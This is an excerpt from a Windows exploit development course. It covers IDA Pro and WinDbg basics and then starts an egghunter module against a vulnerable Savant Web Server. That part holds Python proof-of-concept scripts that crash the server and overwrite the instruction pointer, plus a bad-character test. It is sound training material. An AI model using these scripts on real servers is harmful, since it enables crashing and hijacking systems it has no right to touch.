Now that we know how to open and close files, let’s explore the IDA Pro user interface. There are
several windows and tabs available, as shown in Figure 32.

Figure 32: IDA Pro interface

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 139
Windows User Mode Exploit Development

Most reverse engineering work takes place in the main disassembly window, which can show the
code organized in three different ways:
• Graph view
• Text view
• Proximity view
The graph view breaks down the program disassembly into functions, with the function code
organized in basic blocks.134 This view is generally the most intuitive because it shows the code
control flow by illustrating how each basic block is connected to the others through jumps or
branches. This is the default view after we open a file.

Figure 33: Graph view in IDA Pro

Figure 33 shows how assembly code is divided into basic blocks, separated by conditional
statements or logical splits.
The green and red arrows originating from a conditional branch indicate if the condition was met
or not respectively. These conditional statements are the compiled assembly representation of
source code statements like if and else in low level languages like C or C++.

134
(Wikipedia, 2020), https://en.wikipedia.org/wiki/Basic_block

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 140
Windows User Mode Exploit Development

Blue arrows represent basic block edges, where only one potential successor block is present
(JMP assembly instruction).
We can reposition the graph while analyzing a selected function by clicking and dragging the
background of the graph view.
The text view presents the entire disassembly listing of a program in a linear fashion, as shown in
Figure 34. Control flow is still indicated by arrows to the left of the listing, but it appears less
intuitive.

Figure 34: Text view in IDA Pro

We can switch between graph view and text view by pressing T.


In the text view, virtual addresses are displayed for each instruction. We can add this for the graph
view by going to Options > General and ticking the Line prefixes box.
Figure 35 shows graph view with line prefixes enabled.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 141
Windows User Mode Exploit Development

Figure 35: Line prefixes in graph view

Finally, proximity view is a more advanced feature for viewing and browsing the relationships
between functions, global variables, and constants.135
We can activate proximity view through View > Open subviews > Proximity browser. An example of
proximity view is shown in Figure 36.

Figure 36: Proximity view in IDA Pro

While we’ll mainly work in the disassembly window, there are two other useful windows available:
the Functions window and the Graph overview.
As its name suggests, the Functions window (Figure 37) provides a list of all the functions
present in the program that IDA Pro managed to obtain through automatic analysis.

135
(Hex-Rays, 2011), http://www.hexblog.com/?p=468

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 142
Windows User Mode Exploit Development

Figure 37: Functions window in IDA Pro

Double-clicking an entry in the Functions window will cause IDA Pro to show the start of the
selected function directly in the disassembly window.
To easily navigate the disassembly of large functions, we can use the Graph overview window
(Figure 38) to rapidly pan around the function graph.

Figure 38: Graph overview window

The Graph overview always shows the same function currently being analyzed in the main
disassembly view. A dotted outline in the Graph overview indicates which part of the code is
currently displayed in the disassembly window.
We can navigate to previously viewed basic blocks using the forward and backward arrows
(Figure 39) in the navigation bar at the top left part of the IDA Pro window.

Figure 39: Navigation arrows in IDA Pro

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 143
Windows User Mode Exploit Development

Finally, we’ll cover how to reset the IDA Pro layout to its default setting. It can be difficult to return
windows to their original place after dragging them to customize the graphical layout.
To adjust a single window, let’s place the cursor just below the title of the window. When a small
bar appears, as shown in Figure 40, we can drag and dock the window next to other windows.

Figure 40: Menu bar to drag and dock windows

We can also completely reset the UI using Windows > Reset desktop.
This section provided an overview of the most basic actions and user interface for IDA Pro. Next,
we’ll cover some of the program’s basic functionality that can aid our work.

5.1.2.1 Exercises
1. Copy notepad.exe from the Windows 10 machine onto your Kali VM and analyze it with IDA
Pro.
2. Use the different views and navigate around the disassembled file to get familiar with the
interface.
3. Save the disassembled file.

5.1.3 Basic Functionality


IDA Pro offers features that can help speed our reverse engineering and exploit development
processes. We’ll go over how to use these features in this section so we can leverage them in
future modules.
In IDA Pro, we can color code basic blocks to work more efficiently. Color coding helps empower
our visual understanding of code flow in graph view.
Every basic block has a color palette icon at the top left corner as shown in Figure 41.

Figure 41: Color palette icon

After clicking on the color palette icon, a coloring dialog box opens (Figure 42) from which we can
select any color we like.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 144
Windows User Mode Exploit Development

Figure 42: Coloring dialog box

Selecting which colors to use is personal taste, but a combination of two colors can help show
desired and undesired paths through basic blocks, as illustrated in Figure 43.

Figure 43: Example of color coding

Another way to speed our work along in IDA Pro is by commenting on a specific line of assembly
code. This can help us remember exactly what is happening at that particular code location.
We can set a comment through the dialog box by placing the cursor at a specific line of code and
pressing the colon (:) key.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 145
Windows User Mode Exploit Development

Figure 44: Creating comments

Once accepted, the comment is added to the right of the assembly instruction, as shown in Figure
45.

Figure 45: Comment added in basic block

In addition to leveraging color coding and comments, we can also rename functions and
variables to aid in our analysis.
If symbols files are loaded as part of the disassembly, the names included within them are used.
Otherwise, a default function name of “sub_XXXXXX” and a global variable name of
“dword_XXXXXX” is used.
We can rename a function by locating it in the Functions window, right-clicking it, and selecting
Edit function…. From here, we can modify the function name.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 146
Windows User Mode Exploit Development

Figure 46: Editing a function name

We can also rename functions by pressing the key when the function name is open in the main
n
assembly window. This also applies to global variables.
Once completed, the function name is updated, as shown in Figure 47. All function references will
also be updated.

Figure 47: Renamed function

The last analysis feature we will explain in this section is how to create and list bookmarks.
We can create a bookmark by choosing the line we want to bookmark and pressing + E m. This
brings up the dialog box shown in Figure 48 for naming and creating our new bookmark.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 147
Windows User Mode Exploit Development

Figure 48: Creating a bookmark

Whenever we need to come back to the same location in the code, pressing C+m will bring up
a dialog to select a bookmark as displayed in Figure 49.

Figure 49: Selecting a bookmark

Double-clicking the bookmark name will jump the main disassembly window to the code in
question.
In this section, we have gone through some of the features that can help our analysis during
reverse engineering and exploit development when using IDA Pro.

5.1.3.1 Exercises
1. Experiment with color coding, comments, and renaming.
2. Create a bookmark and jump back to it.

5.1.4 Search Functionality


During analysis in IDA Pro, we often need to search for sequences of bytes, strings, and function
names in a target executable or dynamic link library.
The information we need to search for could come from another static analysis program such as
the Windows SysInternals Strings136 tool, directly from a dynamic analysis session, or from
sniffed network traffic, for example.

136
(Microsoft, 2017), https://docs.microsoft.com/en-us/sysinternals/downloads/strings

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 148
Windows User Mode Exploit Development

Moreover, a search for function names may stem from a public vulnerability disclosure or from a
suspected behavior of a chunk of code calling into a particular function such as reading a file or
receiving a network packet.
We can search for a string using the text option in the Search menu, which displays the dialog
shown in Figure 50.

Figure 50: Search for strings

We can likewise search for an immediate value, such as a hardcoded DWORD or a specific
sequence of bytes, from the Search menu or by using + and + , respectively.
Ei Eb
We can search for function names in the Functions window or through the Jump to function
command from the Jump menu. In the dialog window, we’ll right-click and use Quick filter to
search for functions by name as shown in Figure 51.

Figure 51: Search for functions using a filter

In the same manner, we can search for global variables through the Jump by name… submenu.
Executables and DLLs contain a lot of code and use imported functions. In the case of DLLs, they
also export functions.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 149
Windows User Mode Exploit Development

All the imported and exported functions are available from the Imports and Exports tabs
respectively (Figure 52). As with the Function window, we can right-click and apply a name filter
using the Quick filter option to narrow our search.

Figure 52: Imports and Exports tabs

While these simple techniques are useful, IDA Pro contains even more powerful search
functionality. We can use cross referencing (xref)137 to detect all usages of a specific function or
global variable in the entire executable or DLL.
To obtain the list of cross references for a function name or global variable, we’ll select its name
from the graph view with the mouse cursor and press the key. Figure 53 shows an example of
x
cross-referencing a global variable called SubKey.

Figure 53: Performing xref in SubKey

In this section, we’ve covered multiple ways to search for text, variables, and functions. These
techniques can be very useful when performing the static portion of our analysis.

5.1.4.1 Exercises
1. Perform different searches using the explained methods.
2. Locate the SubKey global variable and find where it is used.

137
(Chris Eagle, 2011), https://www.hex-rays.com/products/ida/support/idadoc/607.shtml

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 150
Windows User Mode Exploit Development

5.2 Working with IDA Pro


Typically, we’ll use IDA Pro when dynamic analysis by itself is too difficult or when we want to
conduct pure static analysis to avoid the potential risks of dynamic analysis, such as during
malware reverse engineering.
In this course, we’ll use both methods together to make our analysis easier.
In the remaining sections of this module, we will examine how WinDbg and IDA Pro can
supplement each other.

5.2.1 Static-Dynamic Analysis Synchronization


Let’s cover how to sync WinDbg and IDA Pro so they both show us the same code.
One important way we can leverage IDA Pro is by using it as a “map” to guide our debugging
session. However, to easily jump back and forth between the debugger and IDA Pro, we need to
make sure that the base address of the target executable in IDA Pro coincides with that of the
debugged process in WinDbg.
When a Windows executable or DLL file is compiled and linked, the PE header138 ImageBase field
defines the preferred base address when loaded into memory. Often this will not be the address
used at runtime, due to other circumstances such as colliding modules or the Address Space
Layout Randomization (ASLR)139 security mitigation.
When the two base addresses do not coincide, the analyzed file can be rebased in IDA Pro to
match the address used by the application at runtime.
To experiment with the rebasing process, let’s log in to the Windows 10 client, open Notepad, and
attach WinDbg to it. We’ll use the lm command to dump the base address of Notepad:

0:006> lm m notepad
Browse full module list
start end module name
00f20000 00f5f000 notepad (pdb symbols) ...
Listing 158 - Listing base address of notepad module

Now we switch back to IDA Pro and navigate to the Edit > Segments > Rebase program…
submenu entry, which opens the dialog box given in Figure 54.

138
(Microsoft, 2019), https://msdn.microsoft.com/en-us/library/windows/desktop/ms680547(v=vs.85).aspx
139
(Wikipedia, 2020), https://en.wikipedia.org/wiki/Address_space_layout_randomization

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 151
Windows User Mode Exploit Development

Figure 54: Rebase program

After entering the new image base address in the highlighted field of the dialog box, IDA Pro starts
the recalculation process. Once completed, all addresses, references, and global variables will
match those found in WinDbg during the debugging session.

If the application contains compiled debug information, rebasing it may


sometimes break the symbols.

By rebasing the executable in IDA Pro to the base address found in the debugger (0x00f20000),
we can synchronize the static and dynamic analysis, which allows us to use absolute addresses.
Once the session is synchronized, we can jump from an instruction in WinDbg to the same
instruction in IDA Pro.
Let’s imagine we had found the GotoDlgProc function from Notepad as part of our dynamic
analysis, as shown in Listing 159.
0:006> u notepad!GotoDlgProc
notepad!GotoDlgProc:
00f279e0 8bff mov edi,edi
00f279e2 55 push ebp
00f279e3 8bec mov ebp,esp
00f279e5 81ecd4000000 sub esp,0D4h
00f279eb a184d1f300 mov eax,dword ptr [notepad!__security_cookie (00f3d184)]
00f279f0 33c5 xor eax,ebp

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 152
Windows User Mode Exploit Development

00f279f2 8945fc mov dword ptr [ebp-4],eax


00f279f5 8b450c mov eax,dword ptr [ebp+0Ch]
Listing 159 - Listing GotoDlgProc in WinDbg

In IDA Pro, we can press to bring up the “Jump to address” dialog box and enter the absolute
g
address of the function to end up at the same location:

Figure 55: Displaying the same code segment in IDA Pro

Using this technique helps us when debugging huge chunks of code, as it’s easy to get lost in
WinDbg by accidentally stepping into a function call, and then losing track of where the CPU is
executing instructions.

5.2.1.1 Exercises
1. Start Notepad and attach WinDbg to it.
2. Rebase Notepad in IDA Pro to the same base address and compare them.

5.2.2 Tracing Notepad


Now that we have covered the features of IDA Pro required for this course, we need to start using
them for our analysis. In this section, we are going to perform a simple analysis inside the
Notepad application.
Our analysis will consist of tracing the code flow when Notepad opens a file. To do this, we’ll
create a text file with the content “Test”, as shown in Listing 160.
C:\Tools>echo Test > C:\Tools\doc.txt
Listing 160 - Create text file with echo

Next, we’ll open Notepad and attach WinDbg to it. To perform any read or write actions on
Windows, applications must obtain a handle to the file, commonly done with the CreateFileW
function from kernel32.dll.
Let’s set a breakpoint on the API with bp and attempt to open the file in Notepad. This causes our
breakpoint to be triggered, as shown in Listing 161.
0:006> bp kernel32!CreateFileW

0:006> g
...
Breakpoint 0 hit
eax=00000001 ebx=00bf7794 ecx=007febdc edx=77e71670 esi=00bf7794 edi=04b88178
eip=75c2c260 esp=007febec ebp=007ff02c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 153
Windows User Mode Exploit Development

KERNEL32!CreateFileW:
75c2c260 ff25a043c875 jmp dword ptr [KERNEL32!_imp__CreateFileW (75c843a0)]
ds:0023:75c843a0={KERNELBASE!CreateFileW (753461a0)}
Listing 161 - Breakpoint on CreateFileW

To figure out where this function was called from within Notepad, we could turn to IDA Pro, locate
CreateFileW in the Imports tab, and perform a cross reference. Sadly, this provides us with 20
different possibilities.

Figure 56: Cross references to CreateFileW

Instead, we will let execution continue in the debugger until the end of CreateFileW with pt, and
we will return into the calling function:
0:000> pt
eax=00000640 ebx=00bf7794 ecx=3b76cea0 edx=00000000 esi=00bf7794 edi=04b88178
eip=75346201 esp=007febec ebp=007ff02c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
KERNELBASE!CreateFileW+0x61:
75346201 c21c00 ret 1Ch

0:000> p
eax=00000640 ebx=00bf7794 ecx=3b76cea0 edx=00000000 esi=00bf7794 edi=04b88178
eip=00f25085 esp=007fec0c ebp=007ff02c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
notepad!UpdateEncoding+0x5d:
00f25085 8bd8 mov ebx,eax
Listing 162 - Execute to the end of CreateFileW and return

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 154
Windows User Mode Exploit Development

We now have an address inside Notepad (highlighted in Listing 162) that we can use with IDA Pro.
EAX also contains the handle to the file we’ll use later.
After jumping to the address, we find a basic block that sets up arguments and calls CreateFileW,
as displayed in Figure 57.

Figure 57: Basic block that has the call to CreateFileW

It is easier for us to understand what arguments are supplied to the API when displayed this way,
since IDA Pro lists their names as comments. This is extremely useful while debugging and it
works because IDA Pro understands how to match the arguments to the Windows API function
prototype.140
The process we followed in this example is common during a reverse engineering session as we
often want to figure out what happens after an API call, or what chunk of code performed a
specific function call.
Let’s follow the execution flow in IDA Pro and attempt to locate a call to ReadFile141 within the
same function that performed a call to CreateFileW. The basic block shown in Figure 58 seems to
be the one we want:

Figure 58: Call to ReadFile in a subsequent basic block

140
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew
141
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-readfile

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 155
Windows User Mode Exploit Development

From the highlighted portion of Figure 58, we notice that the content of EAX at address 0xF250A4
is noted by IDA Pro as “lpBuffer”. According to the ReadFile documentation, this is a pointer to the
memory buffer that receives the data read from a file.
Let’s verify that this basic block is indeed the one used by Notepad to invoke ReadFile. We can do
this by setting a breakpoint on the address 0xF250A6 and letting execution continue:
0:000> bp f250a6

0:000> g
Breakpoint 1 hit
eax=007fec28 ebx=00000640 ecx=3b76cea0 edx=00000000 esi=00bf7794 edi=04b88178
eip=00f250a6 esp=007febf8 ebp=007ff02c iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200217
notepad!UpdateEncoding+0x7e:
00f250a6 ff15c401f400 call dword ptr [notepad!_imp__ReadFile (00f401c4)]
ds:0023:00f401c4={KERNEL32!ReadFile (75c2c5e0)}

0:000> dds esp L5


007febf8 00000640
007febfc 007fec28
007fec00 00000400
007fec04 007fec20
007fec08 00000000
Listing 163 - Continue execution to the call into ReadFile

In Listing 163, we find that our breakpoint is triggered and the first argument, as highlighted, is the
same file handle returned by CreateFileW earlier.
To identify the file’s contents, we’ll note the highlighted address of the output buffer in the listing
above and step over the call to ReadFile:

0:000> p
eax=00000001 ebx=00000640 ecx=3b092550 edx=77e71670 esi=00bf7794 edi=04b88178
eip=00f250ac esp=007fec0c ebp=007ff02c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
notepad!UpdateEncoding+0x84:
00f250ac 85c0 test eax,eax

0:000> da 007fec28
007fec28 "Test ..w."
Listing 164 - Locating the file contents

After performing the call to ReadFile, we notice that the output buffer (displayed with da) has been
populated with the content we put in the text file.
While not surprising, this simple example demonstrate how we can use IDA Pro and WinDbg to
easily navigate the execution flow and make educated guesses about addresses that warrant our
attention.

5.2.2.1 Exercises
1. Repeat the analysis shown in this section, making use of both WinDbg and IDA Pro.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 156
Windows User Mode Exploit Development

2. Place a breakpoint on CreateFileW and save a file with Notepad. Attempt to locate where a
subsequent call to WriteFile142 is performed by using IDA Pro and WinDbg together.

5.3 Wrapping Up
This module introduced us to the IDA Pro interface and features. We also covered how to use IDA
Pro as a static analysis tool to support our dynamic analysis in WinDbg.
Since we will often rely on these skills in subsequent modules, it is important to get comfortable
practicing with IDA Pro.

142
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefile

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 157
Windows User Mode Exploit Development

6 Overcoming Space Restrictions: Egghunters


In some cases, a vulnerability only provides us with a very small buffer that we can use after a
memory corruption. In such cases, it can be difficult for the attacker to reliably position a larger
payload at a predictable location in memory.
Sometimes, depending on the vulnerability or application, it’s possible to store a larger payload
somewhere else in the address space of the process. In a situation like this, the Egghunter
technique may be an effective exploitation methodology.
In this module, we will explore a vulnerability143 in the Savant144 Web Server version 3.1.145 We are
going to deal with space restrictions, bad characters that impact the exploit development, and a
partial instruction pointer overwrite.
Overcoming these obstacles and understanding how an Egghunter works will help us develop a
reliable and portable exploit.

6.1 Crashing the Savant Web Server


The vulnerable application is already installed on the dedicated Windows 10 client, so we can
launch it either by using the icon pinned on the taskbar or by searching for “Savant Web Server” in
the Start menu. This will open the application window and start the web server on port 80.

Figure 59: Savant Web Server application Window

According to the public CVE146 and proof of concept, sending a large HTTP GET request to the
target triggers the vulnerability. Let’s review the proof of concept and attempt to crash the Savant
Web Server.

143
(Exploit-db, 2012), https://www.exploit-db.com/exploits/38079
144
(Savant Web Server), http://savant.sourceforge.net
145
(Exploit-db, 2012), https://www.exploit-db.com/exploits/18401
146
(CVE Details), https://www.cvedetails.com/cve/CVE-2002-1120/

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 158
Windows User Mode Exploit Development

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
server = sys.argv[1]
port = 80
size = 260

httpMethod = b"GET /"


inputBuffer = b"\x41" * size
httpEndRequest = b"\r\n\r\n"

buf = httpMethod + inputBuffer + httpEndRequest

print("Sending evil buffer...")


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(buf)
s.close()

print("Done!")

except socket.error:
print("Could not connect!")
Listing 165 - egghunter_0x01.py: Triggering the vulnerability

In Listing 165, we set our buffer to the HTTP GET method followed by 260 0x41 (A in ASCII) bytes.
The size of the buffer was taken from the public exploit. Finally, we end the request with the
carriage return and two new lines.
Before running our proof of concept, we need to make sure to attach WinDbg to the Savant.exe
process.
(1040.1b84): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Savant\Savant.exe
eax=ffffffff ebx=01805718 ecx=6f2d6175 edx=00000000 esi=01805718 edi=0041703c
eip=41414141 esp=01b8ea2c ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
41414141 ?? ???
Listing 166 - WinDbg catching the first access violation

Once we run our proof of concept, WinDbg should catch an access violation as shown above in
Listing 166.
Good. It seems that by sending our proof of concept, we can gain control over the instruction
pointer. Now let’s convert this initial proof of concept into a fully working exploit.

6.1.1.1 Exercises
1. Start the Savant Web Server application and attach WinDbg to the process.
2. Run the first proof of concept and verify that you can overwrite the instruction pointer.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 159
Windows User Mode Exploit Development

6.2 Analyzing the Crash in WinDbg


At first glance, it would appear that we are dealing with a typical stack overflow where we have
full control over the instruction pointer. However, after some analysis, we begin to notice some
interesting peculiarities.
In a vanilla stack overflow, such as the one covered in a previous module, the ESP register would
point to our controlled buffer, which would store the shellcode. The buffer would then overwrite
the instruction pointer with an assembly instruction, such as JMP ESP, that would redirect the
execution flow to our shellcode.
Inspecting the stack in WinDbg reveals that ESP points to our controlled buffer, but in this case
we only have three bytes available for our shellcode. Because of this, we cannot place our
shellcode as we would in a vanilla stack overflow. We will examine how to deal with this
restriction later.
0:004> dds @esp L5
01b8ea2c 00414141 Savant+0x14141
01b8ea30 01b8ea84
01b8ea34 0041703c Savant+0x1703c
01b8ea38 01805718
01b8ea3c 01805718
Listing 167 - Inspecting the stack after the crash

Whenever we are dealing with a limited amount of space, we should first attempt to increase the
size of the buffer we send to determine if this results in more space for our overflow.
However, after attempting this, we determine that increasing the size of the buffer in our proof of
concept by even one byte will cause a different crash where we do not gain control over the
instruction pointer:
(1670.1694): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Savant\Savant.exe
*** ERROR: Module load completed but symbols could not be loaded for
C:\Savant\Savant.exe
eax=41414141 ebx=016456d0 ecx=81914a60 edx=00000001 esi=016456d0 edi=0041703c
eip=0040c05f esp=02fee6b8 ebp=02feea24 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
Savant+0xc05f:
0040c05f 8b08 mov ecx,dword ptr [eax] ds:0023:41414141=????????
Listing 168 - Causing a different crash by increasing the size of the input buffer

In addition to being limited in size, our buffer is null-byte terminated. This is most likely because it
is being stored as a string. Let’s make a note of this, as it is something that we will abuse later on
in the module.
Continuing our crash analysis, let’s determine if any of the registers point to our buffer. This
would allow us to overwrite EIP with an indirect JMP to the register and redirect execution to our
buffer.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 160
Windows User Mode Exploit Development

Unfortunately, none of the registers point to our buffer at the time of the overflow. As a last check,
let’s inspect the stack to determine if it contains any pointers to our buffer.
The second DWORD on the stack is interesting because it points to a memory location that is very
close to our current stack pointer. Let’s inspect this memory address with WinDbg to determine if
it points to any interesting data.
0:004> dds @esp L2
01b8ea2c 00414141 Savant+0x14141
01b8ea30 01b8ea84

0:004> dc poi(esp+4)
01b8ea84 00544547 00000000 00000000 00000000 GET.............
01b8ea94 00000000 00000000 4141412f 41414141 ......../AAAAAAA
01b8eaa4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
01b8eab4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
01b8eac4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
01b8ead4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
01b8eae4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
01b8eaf4 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
Listing 169 - Inspecting the memory address that points further down the stack

According to the output from Listing 169, at the time of the crash, the second DWORD on the
stack points to the HTTP method, followed by several null bytes and then our controlled buffer.
Now that we have a good understanding of the limitations in our current case study in terms of
available space as well as a pointer to our buffer, we can continue with the exploit development
process.

6.2.1.1 Exercises
1. Verify the space limitation after triggering the access violation.
2. Attempt to increase the buffer size and determine if the conditions of the crash change.
3. Can you tell why it is important that our buffer is stored as a string in memory?
4. Run the proof of concept multiple times and confirm that the second DWORD always points
to the HTTP method as shown in this section.

6.3 Detecting Bad Characters


Apart from the space limitations, our next step is to determine the bad characters of our overflow.
We will update our initial buffer to include all possible hex characters as shown below.
...
try:
server = sys.argv[1]
port = 80
size = 260

badchars = (
b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c"
b"\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19"
b"\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26"

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 161
Windows User Mode Exploit Development

b"\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33"
b"\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d"
b"\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a"
b"\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67"
b"\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74"
b"\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81"
b"\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e"
b"\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b"
b"\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
b"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5"
b"\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2"
b"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc"
b"\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9"
b"\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6"
b"\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

httpMethod = b"GET /"


inputBuffer = badchars
inputBuffer+= b"\x41" * (size - len(inputBuffer))
httpEndRequest = b"\r\n\r\n"
...
Listing 170 - egghunter_0x02.py: Detecting bad characters

Running the proof of concept against the vulnerable software does not seem to cause a crash.
This is most likely the result of a bad character. In order to identify which of the bad characters
prevent Savant from crashing, we will modify our proof of concept and comment out the first half
of the lines from the badchars variable.
...
try:
server = sys.argv[1]
port = 80
size = 260

badchars = (
#b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c"
#b"\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19"
#b"\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26"
#b"\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33"
#b"\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
#b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d"
#b"\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a"
#b"\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67"
#b"\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74"
#b"\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81"
b"\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e"
b"\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b"
b"\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
b"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5"
b"\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2"
b"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc"
b"\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9"

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 162
Windows User Mode Exploit Development

b"\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6"
b"\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

httpMethod = b"GET /"


inputBuffer = badchars
inputBuffer+= b"\x41" * (size - len(inputBuffer))
httpEndRequest = b"\r\n\r\n"
...
Listing 171 - egghunter_0x02.py: Commenting out lines in the badchars variable

After running the updated proof of concept (Listing 171), we successfully overwrite the instruction
pointer. This indicates that the problematic characters are not present within the last half of the
badchars variable, which is not commented out.
(1dac.1b98): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Savant\Savant.exe
eax=ffffffff ebx=019d57b0 ecx=b4797e20 edx=00000000 esi=019d57b0 edi=0041703c
eip=41414141 esp=01bdea2c ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
41414141 ?? ???
Listing 172 - Overwriting the instruction pointer after commenting out part of the badchars variable

We can also confirm that none of our characters have been mangled in memory using WinDbg.
0:005> db esp - 0n257
01bde92b 82 83 84 85 86 87 88 89-8a 8b 8c 8d 8e 8f 90 91 ................
01bde93b 92 93 94 95 96 97 98 99-9a 9b 9c 9d 9e 9f a0 a1 ................
